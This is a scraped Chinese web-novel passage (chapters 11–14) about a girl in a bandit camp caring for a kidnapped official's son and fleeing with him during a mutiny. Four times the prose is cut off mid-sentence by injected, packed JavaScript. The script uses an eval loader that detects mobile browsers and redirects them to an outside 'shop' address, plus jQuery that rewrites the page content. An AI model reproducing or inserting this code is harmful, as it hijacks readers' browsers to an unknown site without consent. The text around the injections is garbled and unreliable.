李明珠却早已收拾好自己,拎上昨夜整理的小包袱下山了。守卫需要三队轮岗,一队四个时辰,昼夜不歇,且可能其她队有人临时有别的差事,需要顶替,故所有守卫都要住在院里的倒座房,直至差事结束。 “呼————呼————” 腊月的寒风吹过枯树枝,泛起诡异的“刷刷”声,刮得李明珠鸡皮疙瘩都起来了,她抱紧自己,天色还暗着,山路上一个人影都没有,前世看过的鬼故事在这一刻全都冒了出来,一股脑地往脑子里钻。 硬着头皮往前走。不知过了多久,她似乎看见,前方有一点微弱亮光,忽明忽灭。还没等她反应过来,那亮光停了停,便快速往前移来。 “啊——啊啊啊啊!别,别过来!”李明珠吓得惊叫出声,想转身往回跑,两条腿却像被钉在了原地一般,无法动弹,一个重心不稳摔在了地上。 “完了完了,别吃我——啊——啊啊啊啊……” 一阵大笑声打断了她的鬼哭狼嚎。李明珠眯眼一瞧,顿时气不打一处来,从地上跳起来就开始拿拳头锤她的肩,边锤还边骂道:“好你个路从,闲的没事大半夜来吓我,你是要疯吗!啊啊啊!” 路从好半天才笑够,看李明珠确实吓得不轻,便也不躲闪,任由她打自己出气,反正她皮糙肉厚,也不疼。口中却赶忙讨饶:“好好,是咱的不对,我也是担心你天还没亮出来,怕你遇着什么危险,才提了灯来迎一迎你,谁知道你这么害怕,话说,你方才没看见我吗?我还喊你来着。” 李明珠打累了,坐在地上顺着气,听了她这解释只想翻白眼。如此三更半夜黑灯瞎火的,前面突然一阵亮光,这光还能自己往前走,她当时能想到的就只有“鬼来吃她了”这几个大字。原本她这二十一世纪的三好学生,是坚定的唯物主义者,可她都穿越了啊,妖魔鬼怪什么的,离的还远吗? 尤其路从当时走在灯后,从李明珠的角度看去,就是一道模糊的影子,隐在亮光之后迅速朝她移来,那场面,真的与聊斋无异。晚上山里风又很大,把路从喊她的声音盖住了,种种惊悚画面加在一起,她还没有尿裤子,简直要给自己竖个大拇指! 原地平复了下,李明珠在路从的搀扶下慢慢起身,腿依然有些软,但她卯时三刻便要当值,耽误不得,便借着力慢慢往前走,幸好这里离号房不远,一盏茶的功夫就能到。 路从一直把李明珠送到了倒座房,甚至她自觉犯了错,吓到了李明珠,还亲手给她倒了水,收拾她带过来的包袱,将衣服零碎归置好。 李明珠见了也没拦着她,她到现在都还心有余悸呢!帮自己收拾收拾东西罢了,又累不着! 看着那前后忙碌的身影,李明珠将水一饮而尽。 “哼!” 听到动静的路从转身,觑着她的脸色,“又怎么了,大小姐,您有何吩咐?” “你回去罢,我要当值了。”说着便站起身要往外走去。 路从上前一步拦住了她,“今日就别去了,我给你告假,你现在脸色都发白,我怕你受不住。” 李明珠却坚持:“今日我第一次来,要是不去,十九姐姐那边,以及其他人,要怎么想我了,原本在她们眼中,我就是因着与你的关系才得了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202153|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差事,若是第一日当值便这样,岂不是要被旁人好生说道一番!我才不要被人说闲话。” 路从听了她这话便是蹙眉,“有人在你面前嚼舌根了?你告诉咱,是哪个不长眼的孬货,咱去替你教训她!今日之事你就听我的,在这儿好好歇着,若是有人与你说胡话,全叫她们来找奶奶我!” 路从虽然年纪不大,却从小练武,进山也早,手底下还有五六个土匪崽子,所以在兴龙帮里,也算是说话比较有份量的人物了,寻常崽子们见了她,都尊称一声路姐。 旁人面前,她威风得紧,只除了李明珠。路从第一次见她,只觉得这孩子干巴瘦小也是个日子艰难的小可怜,后来在她一声声“路姐姐”中,渐渐把她当成妹妹,她很喜欢喂她吃东西,看着她吃到美食眼睛就亮晶晶的,吃到不喜欢的整张小脸都透着哀怨,但无论何种表情,在她做来,都是鲜活的,灵动耀眼。 就比如现在,她就这么一句话也不说,唇抿得紧紧的,大眼睛幽幽的盯着自己,二人对视许久,最终还是路从败下阵来,肩膀重重往下耷拉着。 “罢了罢了,你若坚持去那便去罢,只一条,你不许觉得是沾了我的光,能得这差事,最重要的是自身有本事,要是个花拳绣腿的软脚虾,我就算说破天,刘十九也不会要的。” “所以明珠,”她微微俯身,看着李明珠的双眼,认真道:“要记住,你自己,本就是顶顶厉害的人。” 李明珠眸子微微睁大,眼里瞬间漫上了一丝水汽,她朝路从伸出手,“路姐姐,有你真好。” 清晨第一缕阳光升起,熹微穿过半敞的门映在两个击掌而握的少女身上,尘尽光生。 11. 喂饭 午时一刻。 午时一刻。 “叩叩。”李明珠捧着食盒,在其她守卫幸灾乐祸的眼神中敲响了甲号房的门。 许久没等到屋内人应答,她小心把门推开,饶是有心理准备,她还是微微一惊,这么多天过去,那小少爷居然还保持着她们第一次见面的姿势端坐着,像座雕像般纹丝不动,李明珠不禁暗暗腹诽:难不成他还真是观音座下童子转世,在莲花台上打坐? 反手将门关上,将食盒放在桌上。是的,她来给这蓝家小少爷送饭。原本还想着,自己是第一天当值,刘十九应该不会让她靠近屋内,谁知就在刚刚,一个天大的馅儿饼砸在了她的头上:刘十九吩咐她进去送饭! 只是还没高兴多长时间,一同当值的同伴便悄悄告诉她,那蓝家小少爷可不好伺候,都没怎么吃过东西,吃食怎么送进去就怎么端出来,只偶尔在深夜时喝上那么一碗汤,这几日都是如此。 大当家的怕人有个什么好歹,几乎每天派人来问这边的情况,昨天还把王十六和负责送吃食的几个崽子骂了一通,导致现在,没人愿意领这吃力不讨好的活儿,自然而然地,也就落到了新来的李明珠的头上。 不过对她来说,也算是正中下怀了。原本还想着要找个什么理由接近小公子,没想到,就这么阴差阳错达成了目的。感谢老天奶! 打开食盒,把菜端出来的过程对李明珠来说要更难熬些,糯米饭、狮子头、炙猪肉,每端一盘她都会不争气地咽咽口水,太香了,好多肉啊!熬煞真是下血本了!不过想想正常,这小公子贵重非凡,自是不能同她们一样每日吃烩白菜。 偷偷瞄一眼阖眼端坐的人,李明珠也是有些佩服他的,要是自己那小侄子,肯定循着香味就上桌大快朵颐了。他这么小的孩子,居然能忍住好几日不吃饭。 想了想,李明珠走到他跟前蹲下,怕外头的人听见,放低声音说道:“你可还记得我吗,我们前几天见过的,唔,就是你刚来这儿那天晚上。” 见对方终于缓缓睁开眼,她也用充满期待的目光回望。但,结果注定令她失望。 那双琥珀色的双眸依旧无波无澜,看向她时似乎都没有聚焦,随后,又缓缓闭上。 李明珠:……笑容凝固在脸上。 但也只能劝自己他还是个孩子,算了,算了。 一顿自我洗脑后,又继续端起笑脸:“你先起来吃点东西,我之前说会救你出去,就一定会守诺的,你可以告诉我你家在哪,我去帮你送信,你爹——” 想起他就是被自己父亲送进来的,话到嘴边又变成“你母亲一定急坏了,我下山给她带信,让她来寻你。” 还是沉默。 又是相同的场景,李明珠一个人说得口干舌燥,而相关之人就那么面无表情地坐着,连眼都没有睁开。 两刻钟过去,“呼——” 见他还保持着那端坐的姿势一动不动,李明珠耐心告罄地撂下狠话:“你不吃,可不要后悔!” 说着,她起身快步走到桌前,拿起汤碗一饮而尽,反正这人也油盐不进,放着也是浪费,还不如拿来给自己解渴! 不过喝汤归喝汤,那些吃食她到时没碰,心里还想着万一一会儿小孩想通了,没准自己起来吃呢。 但是很快,事实就残酷地证明了她的想法有多么天真。直到晚膳时辰,李明珠拿着新的吃食进去时,第一眼瞧见的便是已经凉透多时的饭菜,与她晌午走时一模一样。 李明珠:我反省,从前不应该嫌弃表姐家的小侄子吃饭狼吞虎咽! 默默在心里给小侄子道了歉,却不得不继续面对眼前这个“熊孩子”,是的,别看小少爷乖乖巧巧一动不动,但他此刻,已经跃居李明珠心中头号熊孩子了。 “哎—” 又是一声轻叹,自从穿越到古代,已经不知道叹了多少气,她才十八岁啊,照这样下去,岂不是年纪轻轻就垂垂老矣了? 不过无语归无语,熊孩子还是要管的。 桌子上已经没地方了,李明珠干脆直接抱着食盒上前,学着他的样子盘腿坐在旁边,坏心地往小公子的方向挤了挤,胳膊挨着胳膊,甚至还压着他的一丝衣角。 感受到手臂一阵陌生的温热,蓝玄陡然一惊,忙往另一边躲去,只是身子还没撤多远,便感觉到衣角处传来一阵阻力,乍然一惊,是先前那个见过几次的土匪!几日没怎么吃东西的小公子简直要气昏过去,她是个什么东西,又黑又脏,居然敢挨着他的衣角! 往日那双毫无生气的眸子此刻怒瞪着她,伸手迅速地朝她的胳膊拍去,抢过自己的衣摆,重新在一个稍远的地方坐下,闭上眼睛平复一阵阵眩晕。 然而花开两朵,各表一枝。他这副模样落在李明珠眼里便是另一幅光景了:就见那双无波无澜的琥珀眸终于迸发出了光亮,隐隐显出浅金色,一眼嗔过来的样子,就像是上一世邻居家养的狮子猫西西,高傲又任性,甚至连方才拍她手的动作,都与西西无二。 终于看见小公子展现出了人类的情绪,李明珠心情大好,便也放柔了声音:“好了好了,是我错了,你别躲我了,咱们扯平了。我听人说,你叫蓝玄,乃户部尚书蓝金的儿子?” 小公子依旧半点反应也没有。 李明珠对此倒是也不在意,只打开食盒,边将吃食端出边道:“我知你怨恨你父亲母亲,也知你独自一人待在这儿对我很是警惕,但人得时刻知晓自己最要紧的是什么。 就比如现在,若我是你,便不会傻到连饭都不吃,你的绝食、你的虚弱,只会让敌人能更加轻易地伤害你。” 她端着碗走上前,蹲在他面前,看着他因听见自己走近而轻颤的睫毛,语气更是温柔,几乎是低声哄道:“我不是你的敌人,不会伤害你,所以阿玄,先吃饭,好吗?” 舀了一勺粥,轻吹了吹,递到小公子嘴边,粗瓷勺子碰到他娇贵的唇,蓝玄瑟缩了一下,却终是没有再躲开,只是眼睫颤动得更厉害了,像蝴蝶扇动翅膀在琴弦上跳舞。 “这是我今日特意求粮台那边给你做的桂圆莲子粥,里面还加了蜜枣,甜甜的,最适合小公子喝了,蓝小少爷,赏个脸,尝一口?”似是看出了对方的紧张,李明珠轻声同他说笑。 也不知是过了多久,久到她举着勺子的手都酸了,不抱希望之时,那至勺子却轻轻晃动了一下,小公子优雅张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那帕子连她自己都舍不得用,又何况是给别人呢。想着待会儿出去再找路从要一块,结果话音刚落,就见对面正襟危坐之人从怀中取出一个叠的整整齐齐的罗帕,矜持而又高贵地擦了擦嘴角,随后伸出手,一根一根将手指也擦了一遍。 “咳咳” 好罢,李明珠在心里暗暗想:真是个精致的小公子! 趁她收拾食盒的功夫,蓝玄也已经整理好自己了,许是吃了些东西的缘故,他看起来没有之前那么清冷,仿佛一阵风都能吹走。 此刻的他正坐在一只装珠宝的大箱子上,一瞬不瞬地盯着李明珠。 这个土匪他记得,貌丑人黑,身材矮小,浑身上下也就那双眸子还能看,自记事起,蓝玄还从未见过哪个女人像她一样,有着如此干净的眼睛,他想,书里写的冰山融水大概也就如此一般,晶莹透彻。 所以,当这眼眸的主人几次认真对他说,会救他出去时,他不屑嗤笑,却又在饿的恍惚时,有一瞬间的期盼。 但也只有一瞬罢了,救他出去,之后呢?继续回去那个黑暗压抑的尚书府?是被那个男人绑住手脚,关在衣柜里,就为了以此要挟他妻主回来;还是被打的奄奄一息,再被他假惺惺的抱住,哭着道歉? 龙潭还是虎穴,两权相害而已。 12. 逃离 自打那日蓝玄第一次吃了李明珠送去的饭后,所有守卫也都松了口气,就连大当家熬煞听说了此事,还专门派人传她过去,大肆表扬了一番,还下令此后给小少爷送饭这事,都由她来办。 其余守卫也因此对她又嫉妒又同情,嫉妒她得了大当家的青眼,还能每日聚义堂亲自汇报蓝公子的情况,要知道,普通土匪崽子有的上山多少年了,都很少能跟大当家说上句话,更别提能被她亲自点名了,若是能得到大当家的赏识,带出去打个小项、别个梁子,才算是真正进了富贵窝。 不过嫉妒归嫉妒,她们也是给那小公子送过饭的,知道小少爷有多难搞,好话说了一箩筐,人家连眼皮都不抬,就那么端坐在那,简直能把人给气死! 偏生人家身份贵重,打不得也骂不得,吃了他的闭门羹,出去还得被大当家骂,真是两头落不着好。 所以现如今有了李明珠接手,她们也是乐得自在了。 旁人的心思,李明珠不知道,也不想知道,她已经快被小公子折磨疯了。 自从上次哄他吃饭而给他喂了些粥后,蓝玄就像是打开了新世界的大门,饭可以吃,但必须由她亲手喂。 李明珠:别人的穿越都是皇后王妃大小姐,怎么到了她这,就变成乞丐土匪老妈子。 但吐槽归吐槽,老妈子本人也只能无奈地端起饭碗,任劳任怨地伺候少爷。一顿饭下来,生生让李明珠在这寒冬腊月里出了一身汗,蓝玄用膳礼仪很好,小口小口地吃,一共也就小半碗饭,却用了半个多时辰。 除了喂饭过程比较漫长,这孩子对菜的挑剔也在她的神经上反复横跳。兴龙帮毕竟是土匪寨,做的菜味道偏重,这其实很符合李明珠的口味,加上她现在每日都练枪,体力消耗大,食量大,更需要通过吃饭补充盐分。 而蓝玄则与她相反,偏爱清淡食物,不爱吃肉,连大部分小孩子喜欢的甜食都他都兴致缺缺,想起自己当初劝他吃饭,还特意选择了一碗甜粥哄他,也不知小公子是怎么咽下的。 是夜。 在聚义堂跟熬煞汇报完小公子的饮食情况,走在回去的路上,李明珠又双叒叕叹气,趁左右无人,她抬头看向月亮,双手合十许愿:希望能让蓝玄不再挑食,信女愿替他吃肉十年。 然后心情颇好地继续下山。 就在此时,两道声音拦住了她的脚步。远处的竹林里,似乎隐约有人在说话,其中一个声音李明珠很熟悉,是熬真,但声音实在太小,听不清在说什么,另一人她不认识,天太黑,那两人离她又远,面容无法分辨。 不过李明珠也不是八卦的人,只以为又是大当家的给她安排了活计,便没当回事,继续下山去了。 匆匆回到她在倒座房的屋子,同屋的其她人都以入睡,李明珠也累了一天,简单漱口洗脸,便也沉沉入睡。 夜凉如水,月亮不知什么时候躲进了云层,远处的山上,传来一两声狼嚎和犬吠,随后又很快安静下来,整座兴龙山,陷入了沉寂。 “快来人啊,来人啊,翻垛的反了!熬真反了!保护大当家!”突然,一道尖锐嗓音划破黑夜,惊醒了睡梦中的土匪们。很多人甚至都没反应过来,就被反匪破门而入,五花大绑成了俘虏。 李明珠因着刚躺下不久,睡得不沉,所以她几乎是屋里第一个醒惊的。 推开窗,看见远处山上浓烟滚滚,但万幸的是,熬真一心只想先控制熬煞夺了兴龙帮,再谈其他,所以并没有在她们号房这布置人手。 她快速判断了眼前的形势,如今情况还不明朗,熬真带人反叛,但熬煞毕竟当了这么多年兴龙帮的大当家,手段和人数上应该是占上风的,只是熬真此次算是出其不意,事先一点儿风声都没得到。 且据李明珠观察到的,兴龙帮各处哨卡都与往日一样,这就说明,熬煞应当也没提前得到消息,所以这场仗谁能赢,还真不能这么早下定论。 那么蓝玄...... 她瞬间意识到,这可能是个趁乱离开的好机会! 来不及多想,趁战局还未波及到此,李明珠套上衣服,拿上她攒的铜板,迅速朝甲号房跑去。 院子里已经乱成一锅粥了,土匪们要么在忙着收拾东西逃命,要么喊着捉拿反贼的口号往外冲,没人顾得上李明珠。她急切地推开甲号房的大门,却没看见那抹熟悉的身影。 喊了几声他的名字,无人回答。 难道是自己下山了? 李明珠这下是真着急了,外面那么混乱,刀枪也不长眼,他一个十岁的孩子,又是男子,若是落到歹人手里...... 不敢再深想,她连忙要往外跑,想顺着下山的路找找人,只是才刚转身,就听见其中一个用来放珠宝的箱子里,传来一丝动静。然后她就看着,那让熬煞无比放心的、加了两把锁的箱子,被缓缓地从里面推开。 “你,你,怎么……” 蓝玄在李明珠震惊无比的眼神中,从堆满珠宝的箱子里钻出来,走到她身前。 “你是来找我的吗?”小公子低低开口。 声音虽小,却足以将李明珠从怔愣中拉出。低头,四目相对,她猛然发现,他那双琥珀眸子里,隐隐存了些水光,眼尾也红红的,像是哭过了。是了,这孩子从小荣华富贵,该是从未经历过这些,害怕也是正常。 李明珠点头,又伸手摸摸他的脸,这次蓝玄没有躲开。 “阿玄,没时间同你解释了,你也听见外面的动静了,就在刚才,熬真反了,已带人攻上了山,外面非常危险。” 她快速跟他分析着现在的处境,“熬真与熬煞实力相当,你我都不知道谁会是赢家,若是大当家胜了还好,他为人良善又讲义气,必不会为难于你,但若是熬真反叛成功,那今日就是你最后逃走的机会。” “你是那土匪头子一边的?”许是听着让自己安心的声音,蓝玄平静了许多,他敏锐发现了李明珠话里的偏向。 “是,也不是。我是大当家亲自带入山的,虽说后来也不常见她,但也着实感念她能在这世道给我一口饭吃,兴龙帮众匪受过她的恩惠,也都甘愿追随。 熬真此前是大当家身边最得信任之人,在这兴龙帮上可以说一人之下,大当家待她比亲姐妹更甚,她却不知感恩,起兵反叛。 如此不忠不义之人,若是真让她成了大当家,必会重杀戮,到那时,兴龙帮跟朝廷对上,必会万劫不复!”说到后面,李明珠也有些情绪激动起来。 “砰——”一阵火光冲天。 是火药!熬真竟然不惜自损用了火药! 打斗声越来越近,来不及多言,她拉上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202155|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝玄的手冲出了房间。 外面院子里已经没人了,连半山腰的哨卡也已无人值守,早已逃命的逃命、上山的上山。 李明珠有些担心路从,照她的性子,定会上去平叛,但现在山上情况那么复杂,刀剑不长眼,也不知她会不会受伤。打定主意等将小公子送回家,她就去搬救兵。 离兴龙山不远处就驻扎着两万金吾卫,她们跟熬煞素有往来,双方相安无事这么久,她们也一定不想让熬真毁了这平衡。 只是,李明珠显然太过天真,对金吾卫乃至朝廷来说,土匪就是土匪,不论是熬煞还是熬真,她们谁来做这个大当家,都干系不大。若能老实待在兴龙山,劫点儿散客,只图财不害命,那大家就一起发发小财;要是胆敢在天子眼皮子底下伤人害命,别说一座山,就是十座、一百座,都挡不住金吾卫的铁骑。 带这小公子一路疾驰,一口气跑了小半个时辰,手臂的拉力和身后的喘息声越来越重,李明珠不得已停下脚步,扶着已几乎站不稳的小公子,找了块大石头坐下休息。 她现在每日练功,又经常上山下山,崎岖的山路都走惯了。但对蓝玄来说,今日走的路,几乎比他这十年来加起来都多,早已承受不住,两只脚也几乎没了知觉。只是看着眼前人的背影、感受着她牵住自己手的力道,不知是出于什么样的心情,他不想出声打破这场景,只能死死咬着唇,尽全力跟上她的步伐。 “你嘴流血了,怎么搞的?” 方才只想着要快些把他送下山,没顾上仔细看,现在刚坐下喘了口气,李明珠便猛然发现小公子的唇有些不寻常的红,凑近一看,竟然是血! 连忙用干净的手背给他擦了擦,结果触到的唇不是想象中的光滑细腻,而是皲裂的有些扎手,是他咬的伤口。 “呼!吓死我了,我以为你吐血了。”劫后余生般抚着胸口顺气。 “幸好、幸好,你没事真的太好了。” “你就这么担心我?”见她吓得几乎要魂飞魄散的样子,蓝玄几乎是有些呆呆地望着她呢喃。 他小时候被父亲用鞭子抽得遍体鳞伤,下人们只会畏惧,母亲相比起关心他,更多的是对父亲的行为感到愤怒,不想自己当初执意要娶的夫郎是个如此心狠手辣之人。 可如今,只是嘴破了点皮,这个…土匪,她却心疼到如此!当真是......小公子混乱地想着,又无意识的咬起了唇。 而就在蓝玄天人交战之时,李明珠却仿佛狠狠松了口气般泄了力,毫无形象地往大石头上一靠,“当然担心了!” 这冷不丁一看,还以为是跑太快肺炸了才吐血的!还好还好,虚惊一场。 听到她肯定的答复,蓝玄更是一窒,眼神复杂地望着她,那神情中包含了太多不知名的意味。 但李明珠却以为小公子只是在单纯感谢她,登时有了形象包袱,也学着他的样子坐直身子,故作云淡风轻地回视:“你放心,我都把你带到这儿了,救人救到底,必不会让你轻易死掉的!” 随后在心里认真盘算:这孩子体力不好,可不能再跑太快了,不然肺活量达不到,这朝代医疗条件又不好,别到时候人没救出去,反而害了人家! 两人之间的画风明显很混乱,却在这个静谧与动乱并存的夜晚,奇异的共融着。 13. 身亡 良辰美景终易逝,很快,有人打破了他们之间奇怪的氛围。 远处山脚下传来一阵马蹄和脚步声,李明珠虽不懂军事,但也能听出对方人数一定不少。 不知对面是敌是友,她连忙把手中的灯灭了,朝蓝玄比了个噤声的手势,小公子也听见了那边的动静,知道情况不对,便乖乖向她点点头。 两人一同向前望去,就见前方有大片光亮,是火把和油灯!看那阵势,足有千人之重。 她们所处的山脚地势较为平缓,周围几乎没有密林或其他遮挡,所以那队人马行进速度极快,也就是几息之间,就从影影绰绰变得逐渐清晰起来。 在火把的映衬下,李明珠看清了那领头之人,是个面容清俊的女子,大约三十几岁,身材高挑,跨坐马上,一举一动间尊容尽现,只她似乎身体有恙,手拿罗帕,不时掩面咳嗽。 而她身后的大队人马,黄服银枪,是金吾卫! 这等紧要关头,金吾卫怎么会来?难道是熬煞早有准备,提前通知了金吾卫来助她平叛? 李明珠正沉浸在自己的思绪里,突然觉得旁边之人动了动。侧头看去,就见蓝玄也正盯着那女人,琥珀色的眸光里,映着对面火把的光亮,明明灭灭的,神情却没有一丝变化,也不知在想什么。 “你......” 相处几日,李明珠自诩对小公子还是有些了解的,虽然蓝玄表现得如往常一样,但她还是敏锐地捕捉到了他一丝情绪,刚想问他是不是认识那人,谁知才说了一个字,就被对面一个身着劲装、同样骑着高头大马的女人发现了。 所以,当她像个小鸡仔似的被拎出来时,都忍不住感慨:不愧是金吾卫啊! 李明珠被扔到空地上,踉跄了一下才站稳,担心蓝玄年纪小身子孱弱,怕他也被这么粗暴地扔来扔去,所以站直后第一时间就是四下搜寻他的身影。 “阿玄,诶?你……” 蓝玄的待遇明显跟她不同,去带他的那两个金吾卫并没有动粗,而是恭恭敬敬地朝他抱拳行礼,小公子也不扭捏,理了理下摆,仪态周全的走到李明珠身旁。 他在自己的身侧停下的一瞬间,李明珠登时感觉有一道目光朝她射来,是那首领模样的文弱女人。说实话,要是到现在都猜不出蓝玄跟她的关系,李明珠就是傻子了。 她站在原地,微微仰头看着马上之人,抱拳道:“蓝大人,小匪李明珠见过大人。” “你认得我?”那人似乎来了兴趣。 “大人身份尊贵,明珠未曾有幸得见大人,只是看阿玄方才看到大人您时,眼中满是孺慕,这两位姐姐又待他有礼,想必您便是他的母亲,户部尚书蓝金,蓝大人。” 那人笑了,“孺慕之情?你从哪看出他对我有孺慕?” 李明珠:确实没看出来......那小公子对谁都是一副冷冷清清的样子,但她能怎么说?您儿子对您无甚感情?真要这么说了,那两位金吾卫大姐此刻拎着的,就会是她的残渣了。 不太敢回答这个问题,她连忙转移话题:“大人您此番深夜前来,是为何?” “你这小女娃胆子倒是大,没答我的问题倒还反问起我来了?那你便猜猜,我是为何而来?”话音一落,蓝金掩唇咳了几声,眸底,却是深深的兴味。 李明珠无语望天:你们一家人能不能都好好说话,她算是知道小公子气死人不偿命的本事是跟谁学来的了。 只是吐槽归吐槽,看看人家手里闪着寒光的长枪,她终究还是老老实实挑了个中规中矩的答案:“您定是为救阿玄而来,您这一片爱子之心,连小匪我都深受感动。” 见对方嘴上虽说着恭维之话,内心却很明显不这样想,蓝金笑容更真实了几分,她下马,走到李明珠身前,眼眸微垂看着只到她下颌的少女,“再给你一次机会,我来是为了什么?” 蓝金虽然身弱,但出身贵族,又常年位居高位,使她身上早已浸染上位者的权威,此刻就站在面前几步远,若是寻常之人早就被吓得站不稳躺倒在地,饶是李明珠心志纯真坚定,也在这数九寒天出了一身冷汗。 “母亲,我跟你回去。”一道声音插进来。 蓝玄见李明珠被逼问地说不出话,他也不知道为何,明明才跟她相处几日,便看不得她为难的样子,鬼使神差地上前,为她挡住母亲锐利的目光。 气氛乍然凝滞。 蓝金也不答,甚至半点眸光都未落在自己儿子身上,只直直的盯着李明珠。 李明珠简直头皮发麻,但看着挡在自己身前的蓝玄,眸光掠过他那有些轻颤却依然挺直的脊背,她闭了闭眼,再睁开,便不闪不避,径直对上蓝金的目光:“你是为兴龙山的匪患而来!” 这话并非凭空猜测,先前路从告诉她,她能来甲号房当守卫,是因为王十六的亲信里,有几人被熬真带走下山去了,当时她就很奇怪,王十六和她手下人,难道不都是大当家的亲信姐妹吗?为什么熬真能轻易带走? 只是当时她因为终于能有机会名正言顺接近蓝玄而开心,便忽略了这一点,只告诉自己应该是熬煞与熬真关系实在太好,是熬煞私下里允了的。 但是现在看来,这一切仿佛有迹可循。 熬煞如此重视蓝玄,亲自下令王十六昼夜看守,甚至不嫌麻烦都要每日让她上山一趟,只为了知晓他用膳的情况,这样严密周到,怎可能让熬真随意带走守卫? 可熬真又是如何瞒过大当家将她亲信手下策反带走的?王十六忠心耿耿不会背叛,那么...... 是刘十九! 怪不得,怪不得明明应该是王十六负责召集守卫,但那日她见到的却是刘十九。 应是王十六平日事多,不能每日都亲自守着,她们便趁其不在,神不知鬼不觉换了两个守卫,那么多土匪,大家也不是都认识,就算是有相熟的守卫知道自己的同伴不见了,也不会没事跑到王刘二人面前说项。 今日之前,李明珠也只是有此猜测,但方才见蓝金竟然带着近千名金吾卫上山,她才确定:熬真早有反叛之心,而朝廷,对兴龙山的动向了如指掌! 况且,蓝玄被绑已有十余日,要是蓝金只想救自己儿子,早就来了,哪里会等到今日?兴龙帮上上下下加起来也才一百多人,救个孩子而已,哪用得着这么多金吾卫,所以,必定是朝廷早已得知熬真想反叛,趁此机会,拿下兴龙帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202156|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “哈哈哈!” 蓝金抚掌大笑,“真是个聪明人!” “不过”,她话锋一转,眸光霎时锐利如刀,“你如此敢言,就不怕自己会悄无声息的消失吗?” 被威胁的李明珠:算了,躺平罢。 若说刚才,哪怕一刻钟前,她都会对蓝金的死亡威胁感到害怕,但是现在,想通了其中所有的关窍,朝廷的目标只有一个——剿匪,但直接攻打又劳民伤财,便干脆趁着兴龙帮内乱,一举拿下。李明珠无奈摊手,“连大当家这个频频给你们送钱的人都被你们算计其中,兴龙帮都要灭了,我还能躲得了?” 绝境之下,李明珠内心反倒是异常的平静,甚至还在想要是现在死了,还能不能穿越回去,自己已经半年多没学习了,不知还能不能在高考前追上复习进度。 于是画风变的更诡异了,身姿颀长的女人微微低头,盯着眼前已经神游的少女,少女此刻想的却不是怎么虎口逃生,而是......椭圆双曲抛物线? 一时间,双方都没有再开口,直到远处有土匪惊叫声传来,“扯风①!扯风!大当家的亡了!” 电光石火间,李明珠几乎没有反应过来,脑海里仿佛炸响一道惊雷,她猛然回头望向山顶方向。 熬煞死了! 一个几个时辰前还同她见过面的人,竟这样死了! 蓦地,泪自眼底涌出,想抬腿奔向山顶,却被人直接摁倒在地。 就在刚刚熬煞的死讯传来时,蓝金打了一个手势,她身后数百名金吾卫便分成几队,从不同方向上了山,只留下大约几十人保护。 那两个摁住李明珠的金吾卫,早已在小公子的强烈要求下将她扶到了一块山石上坐着。 “喂,你——” 蓝玄蹲在李明珠身前,第一次看到了她落泪,顿时僵在了原地。 印象里,这个土匪虽然比很多男子都瘦小,但每次见她,听她一直轻声细语地哄劝自己,蓝玄都会觉得莫名安心,他看不懂她是一个什么样的人。 她是温柔的,会柔声会哄他用膳,会几次三番去那黑漆漆的屋子里陪他说话;她也是坚毅果决的,会在危险到来时牢牢握住他的手带他逃离,在面对母亲和金吾卫时依然毫不怯懦。 但,她哭了,是因为那个叫熬煞的土匪头子吗?这么想着,也就问出了口。 李明珠却已无心回答,也不知该怎样回答。就如她先前对蓝玄说得那样,她感激熬煞,进山的这三个多月,虽然与其私交甚少,但自己也确实过了一段安心的日子,交了朋友、练了武功,整日也不用再为生计发愁。 她曾无数次想过,就这样生活下去,将来攒些银钱,再下山同白家姐弟一起租个大院子,找个稳当的活计,也能在这女尊时代潇潇洒洒过一世。 其实,自从知道熬真反叛、蓝金带人来剿匪时,她便对如今的情形有所预料,只是当她的死讯就这样毫无征兆地平铺直叙在眼前时,李明珠依旧觉得难以接受。 闭眼,任泪水滑落。 忽然,脸上有丝丝异样的触感,睁开模糊的双眼,便见蓝玄正小心拿帕子给她擦脸上的泪痕,四目相对,却谁都没有开口。 14. 匪首 不知过了多长时间,远处的山顶渐渐安静下来,金吾卫带着被五花大绑的熬真和其她土匪下山,其中一个头领模样的人单膝跪地朝蓝金禀报:“大人,熬煞已死,熬青、熬真以及匪众八十四人均被俘,请您示下!” 